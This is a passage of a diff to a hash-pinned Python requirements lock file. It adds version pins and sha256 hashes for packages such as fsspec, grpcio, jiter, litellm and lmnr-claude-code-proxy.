--hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.31.0 \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 \ + --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ + --hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a +idna==3.15 \ + --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ + --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +importlib-metadata==8.5.0 \ + --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ + --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 +inquirerpy==0.3.4 \ + --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ + --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 +jaraco-classes==3.4.0 \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.0 \ + --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ + --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda +jaraco-functools==4.4.0 \ + --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ + --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb +jeepney==0.9.0 \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +jinja2==3.1.6 \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 +jiter==0.11.0 \ + --hash=sha256:07630bb46ea2a6b9c6ed986c6e17e35b26148cce2c535454b26ee3f0e8dcaba1 \ + --hash=sha256:089f9df9f69532d1339e83142438668f52c97cd22ee2d1195551c2b1a9e6cf33 \ + --hash=sha256:09858f8d230f031c7b8e557429102bf050eea29c77ad9c34c8fe253c5329acb7 \ + --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:11df2bf99fb4754abddd7f5d940a48e51f9d11624d6313ca4314145fcad347f0 \ + --hash=sha256:144fc21337d21b1d048f7f44bf70881e1586401d405ed3a98c95a114a9994982 \ + --hash=sha256:1d4a6c4a737d486f77f842aeb22807edecb4a9417e6700c7b981e16d34ba7c72 \ + --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:1dc6a123f3471c4730db7ca8ba75f1bb3dcb6faeb8d46dd781083e7dee88b32d \ + --hash=sha256:25a5b1110cca7329fd0daf5060faa1234be5c11e988948e4f1a1923b6a457fe1 \ + --hash=sha256:25c625b9b61b5a8725267fdf867ef2e51b429687f6a4eef211f4612e95607179 \ + --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:29fff31190ab3a26de026da2f187814f4b9c6695361e20a9ac2123e4d4378a4c \ + --hash=sha256:2fb7b377688cc3850bbe5c192a6bd493562a0bc50cbc8b047316428fbae00ada \ + --hash=sha256:3893ce831e1c0094a83eeaf56c635a167d6fa8cc14393cc14298fd6fdc2a2449 \ + --hash=sha256:4441a91b80a80249f9a6452c14b2c24708f139f64de959943dfeaa6cb915e8eb \ + --hash=sha256:452d13e4fd59698408087235259cebe67d9d49173b4dacb3e8d35ce4acf385d6 \ + --hash=sha256:452d80a1c86c095a242007bd9fc5d21b8a8442307193378f891cb8727e469648 \ + --hash=sha256:494ba627c7f550ad3dabb21862864b8f2216098dc18ff62f37b37796f2f7c325 \ + --hash=sha256:4ad8bd82165961867a10f52010590ce0b7a8c53da5ddd8bbb62fef68c181b921 \ + --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:4f01a744d24a5f2bb4a11657a1b27b61dc038ae2e674621a74020406e08f749b \ + --hash=sha256:53933a38ef7b551dd9c7f1064f9d7bb235bb3168d0fa5f14f0798d1b7ea0d9c5 \ + --hash=sha256:5661469a7b2be25ade3a4bb6c21ffd1e142e13351a0759f264dfdd3ad99af1ab \ + --hash=sha256:572208127034725e79c28437b82414028c3562335f2b4f451d98136d0fc5f9cd \ + --hash=sha256:5a7092b699646a1ddc03a7b112622d9c066172627c7382659befb0d2996f1659 \ + --hash=sha256:5beb56d22b63647bafd0b74979216fdee80c580c0c63410be8c11053860ffd09 \ + --hash=sha256:63782a1350917a27817030716566ed3d5b3c731500fd42d483cbd7094e2c5b25 \ + --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:719891c2fb7628a41adff4f2f54c19380a27e6fdfdb743c24680ef1a54c67bd0 \ + --hash=sha256:76c15ef0d3d02f8b389066fa4c410a0b89e9cc6468a1f0674c5925d2f3c3e890 \ + --hash=sha256:7764f27d28cd4a9cbc61704dfcd80c903ce3aad106a37902d3270cd6673d17f4 \ + --hash=sha256:7b13a431dba4b059e9e43019d3022346d009baf5066c24dcdea321a303cde9f0 \ + --hash=sha256:8e36924dad32c48d3c5e188d169e71dc6e84d6cb8dedefea089de5739d1d2f80 \ + --hash=sha256:8fe6530aa738a4f7d4e4702aa8f9581425d04036a5f9e25af65ebe1f708f23be \ + --hash=sha256:902b43386c04739229076bd1c4c69de5d115553d982ab442a8ae82947c72ede7 \ + --hash=sha256:97025d09ef549795d8dc720a824312cee3253c890ac73c621721ddfc75066789 \ + --hash=sha256:9a6dff27eca70930bdbe4cbb7c1a4ba8526e13b63dc808c0670083d2d51a4a72 \ + --hash=sha256:a1b7cbe3f25bd0d8abb468ba4302a5d45617ee61b2a7a638f63fee1dc086be99 \ + --hash=sha256:a4d71d7ea6ea8786291423fe209acf6f8d398a0759d03e7f24094acb8ab686ba \ + --hash=sha256:a624d87719e1b5d09c15286eaee7e1532a40c692a096ea7ca791121365f548c1 \ + --hash=sha256:a9d0146d8d9b3995821bb586fc8256636258947c2f39da5bab709f3a28fb1a0b \ + --hash=sha256:adcab442f4a099a358a7f562eaa54ed6456fb866e922c6545a717be51dbed7d7 \ + --hash=sha256:af62e84ca3889604ebb645df3b0a3f3bcf6b92babbff642bd214616f57abb93a \ + --hash=sha256:b0f32e644d241293b892b1a6dd8f0b9cc029bfd94c97376b2681c36548aabab7 \ + --hash=sha256:b1ae2a7593a62132c7d4c2abbee80bbbb94fdc6d157e2c6cc966250c564ef774 \ + --hash=sha256:b42c2cd74273455ce439fd9528db0c6e84b5623cb74572305bdd9f2f2961d3df \ + --hash=sha256:b7b0178417b0dcfc5f259edbc6db2b1f5896093ed9035ee7bab0f2be8854726d \ + --hash=sha256:b8da18a99f58bca3ecc2d2bba99cac000a924e115b6c4f0a2b98f752b6fbf39a \ + --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:bf11807e802a214daf6c485037778843fadd3e2ec29377ae17e0706ec1a25758 \ + --hash=sha256:c0a7f0ec81d5b7588c5cade1eb1925b91436ae6726dc2df2348524aeabad5de6 \ + --hash=sha256:c2d13ba7567ca8799f17c76ed56b1d49be30df996eb7fa33e46b62800562a5e2 \ + --hash=sha256:c59459beca2fbc9718b6f1acb7bfb59ebc3eb4294fa4d40e9cb679dafdcc6c60 \ + --hash=sha256:c5e86126d64706fd28dfc46f910d496923c6f95b395138c02d0e252947f452bd \ + --hash=sha256:c6f3b32bb723246e6b351aecace52aba78adb8eeb4b2391630322dc30ff6c773 \ + --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cb5d9db02979c3f49071fce51a48f4b4e4cf574175fb2b11c7a535fa4867b222 \ + --hash=sha256:cdef53eda7d18e799625023e1e250dbc18fbc275153039b873ec74d7e8883e09 \ + --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ + --hash=sha256:d067655a7cf0831eb8ec3e39cbd752995e9b69a2206df3535b3a067fac23b032 \ + --hash=sha256:d50880a6da65d8c23a2cf53c412847d9757e74cc9a3b95c5704a1d1a24667347 \ + --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 \ + --hash=sha256:dbe2196c4a0ce760925a74ab4456bf644748ab0979762139626ad138f6dac72d \ + --hash=sha256:dd4ca85fb6a62cf72e1c7f5e34ddef1b660ce4ed0886ec94a1ef9777d35eaa1f \ + --hash=sha256:df64edcfc5dd5279a791eea52aa113d432c933119a025b0b5739f90d2e4e75f1 \ + --hash=sha256:df7f1927cbdf34cb91262a5418ca06920fd42f1cf733936d863aeb29b45a14ef \ + --hash=sha256:e35d66681c133a03d7e974e7eedae89720fe8ca3bd09f01a4909b86a8adf31f5 \ + --hash=sha256:e4ffd3b0fff3fabbb02cc09910c08144db6bb5697a98d227a074401e01ee63dd \ + --hash=sha256:e71ae6d969d0c9bab336c5e9e2fabad31e74d823f19e3604eaf96d9a97f463df \ + --hash=sha256:e7d0bed3b187af8b47a981d9742ddfc1d9b252a7235471ad6078e7e4e5fe75c2 \ + --hash=sha256:e84e58198d4894668eec2da660ffff60e0f3e60afa790ecc50cb12b0e02ca1d4 \ + --hash=sha256:f0062dab98172dd0599fcdbf90214d0dcde070b1ff38a00cc1b90e111f071982 \ + --hash=sha256:f05d03775a11aaf132c447436983169958439f1219069abf24662a672851f94e \ + --hash=sha256:f637b8e818f6d75540f350a6011ce21252573c0998ea1b4365ee54b7672c23c5 \ + --hash=sha256:f6fe0283e903ebc55f1a6cc569b8c1f3bf4abd026fed85e3ff8598a9e6f982f0 \ + --hash=sha256:fb4790497369d134a07fc763cc88888c46f734abdd66f9fdf7865038bf3a8f40 \ + --hash=sha256:ff85fc6d2a431251ad82dbd1ea953affb5a60376b62e7d6809c5cd058bb39471 +joserfc==1.7.5 \ + --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ + --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea +json-repair==0.60.1 \ + --hash=sha256:841661cdd2df507c9a4e189097f38ca6bc372e06d4b4e36d72e590f68176c290 \ + --hash=sha256:ba6ff974f2a8bef2f7768144a7f03f870a816443f03da27a49cdd0ec31a78049 +jsonref==1.1.0 \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 +jsonschema==4.23.0 \ + --hash=sha256:d71497fef26351a33265337fa77ffeb82423f3ea21283cd9467bb03999266bc4 \ + --hash=sha256:fbadb6f8b144a8f8cf9f0b89ba94501d143e50411a1278633f56a7acf7fd5566 +jsonschema-path==0.3.4 \ + --hash=sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001 \ + --hash=sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8 +jsonschema-specifications==2025.9.1 \ + --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ + --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d +keyring==25.7.0 \ + --hash=sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f \ + --hash=sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b +libtmux==0.53.0 \ + --hash=sha256:024b7ae6a12aae55358e8feb914c8632b3ab9bd61c0987c53559643c6a58ee4f \ + --hash=sha256:1d19af4cea0c19543954d7e7317c7025c0739b029cccbe3b843212fae238f1bd +litellm==1.93.0 \ + --hash=sha256:0784172435de48f66ef7ad89d421604db1ad0db1321ef7f39dbcfe6b20111417 \ + --hash=sha256:140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec \ + --hash=sha256:1a476ebc340c070c982eab15b4673fa63a70f5936935f9f20e4d2acb5f35d23b \ + --hash=sha256:23b8eea4fb8b3b6ade05e7b6085ec9ca12daffcfb38d033d0bbce9c1d5894da5 \ + --hash=sha256:3daf5c5aceb07f5d68871071e0ecdc678caccebadca9143cc00bb76f5a8c54e8 \ + --hash=sha256:460001b7c88c5b6675ad482ae3cecba96e21f890604b4febb1a67807ace1c750 \ + --hash=sha256:5d84aead083d3d0619b2d293f8006ebbe75611bbdcef470d659c9e2d131d4454 \ + --hash=sha256:6b49f653e6205cbc725257da8797277f77065c69865fb3489bc5ed0896b66ee0 \ + --hash=sha256:952029d422c2cec8117b444d66d6de87ac970ecf0b2e1383b02788ef90ba3603 \ + --hash=sha256:98c15e84d32e922a821c105308bf9ddae8700de9ed396530bee2cbb1cacf4cbb \ + --hash=sha256:cd70ccd4ba3ef1a395535c287bce72d30c7d937ecca4290c0db37a00738f7ada +lmnr==0.7.60 \ + --hash=sha256:35076b302a8f4349824deb08f79d1c7e4c2486b5a14704c0e6efee9879942096 \ + --hash=sha256:efec73de28eb8b66bcda6aaab7db0bda8247a26f982e63295a754412bee607f0 +lmnr-claude-code-proxy==0.1.23 \ + --hash=sha256:0147eecb2704a39eceaf01a23768be1de49c3f2f909d5ad5e5ad5a1c8a4b8d94 \ + --hash=sha256:0c5274ed1c40f5a2d2b7a6bfe6dc6f6d11d59df068b6054630df022d841d2624 \ + --hash=sha256:0ca8b8badb3bf137fc58cf3e98542869d983691b91d431508c1f92d8c7b1267c \ + --hash=sha256:0ec17fcfb579d36086016897fbdf9e0a1a85cf0f53ac7520cc783b1b25ded4a2 \ + --hash=sha256:0fd8e1bfeef82802c8a74533a6d27e7c7912c7db68358ca67976f1635311503f \ + --hash=sha256:11411e4d46b243cef6f5600c72b6fdb0c2f1fd071a6089675f59e74daeb6aa61 \ + --hash=sha256:1304486204ddc39a3f5639153df6ae4ee53152ea83063b0ce3331360f05ee026 \ + --hash=sha256:145c2e2c86c9257170669d85c243cb954a501f4a52206475094ab39d2805cd75 \ + --hash=sha256:14ff23a1fe48b548fe2ff7e8da8237938be23058de31163b59b0ce264f2e2ab7 \ + --hash=sha256:15e67cac22abca8931f2f8dda9fdfee61368b765d35fb57d61944a664e801ed3 \ + --hash=sha256:1784002f3872b08ff8b54599b66bf03c4e7590628d0448cf05fbd62ccbcf9f74 \ + --hash=sha256:18147e58da5c3cd2901adfbbdf0851c5aef4a0feb0fed66732f4f0ef64549531 \ + --hash=sha256:1b04bca678761d37e60508494b8c04c3368bf23bd6569a4d215e93ca5daac89a \ + --hash=sha256:207f6d423467909a130308d2c33eba05b25232e6934c9c23b928b24037d51f3b \ + --hash=sha256:21fdef811f3f06fc507ffd795bca64a21b525faa7f3f6e2f33856910d0f96192 \ + --hash=sha256:26b71b4f076de9ce0e6aa32e62ca6c7b88e486b0c857a90e2a97371acaaee651 \ + --hash=sha256:29e19c7fb7d14e6df820a6c2e4a8ee62f13974fc23d966086a75f1d3d90bc68a \ + --hash=sha256:2d6c4bf49bd060146577022d2f45a9921ce5604289d7f52db357fd3d5aeac838 \ + --hash=sha256:362a7f216c6deaed257966d0ea1e65a00a8eff744b9b3e928076a74671caf5e4 \ + --hash=sha256:3e2f8574de9a42d00aff458e26209f822e2cbba0f2fdb2419129f43e913cf50f \ + --hash=sha256:3e9b4491021a0438da3b4fc7889a6c0ab9311cef8dd5e08a55fb76cf7a788a16 \ + --hash=sha256:4083bb4e785a65efe555a17a5084717f00c9090a43c525e9de81413238081d94 \ + --hash=sha256:44b270a4c40daf3b11a5d96694357c4ff99842e82c514281b2910eae4a5d653a \ + --hash=sha256:453b68f8797fc80d51ec3c361b978d8f0b76b69351e7e1c1edb83e849baa5e78 \ + --hash=sha256:48479d6205854919139c748cac2407a39061eca363ce00a2664e05623933cada \ + --hash=sha256:4a42afb4bc589f0d1d6947b88d8a33e3c44029620212d143320875a3d997331a \ + --hash=sha256:4fdc8e561222dda30eb68026f8d149e3b908b79a4c8bd1042d28b1b22b1eeafc \ + 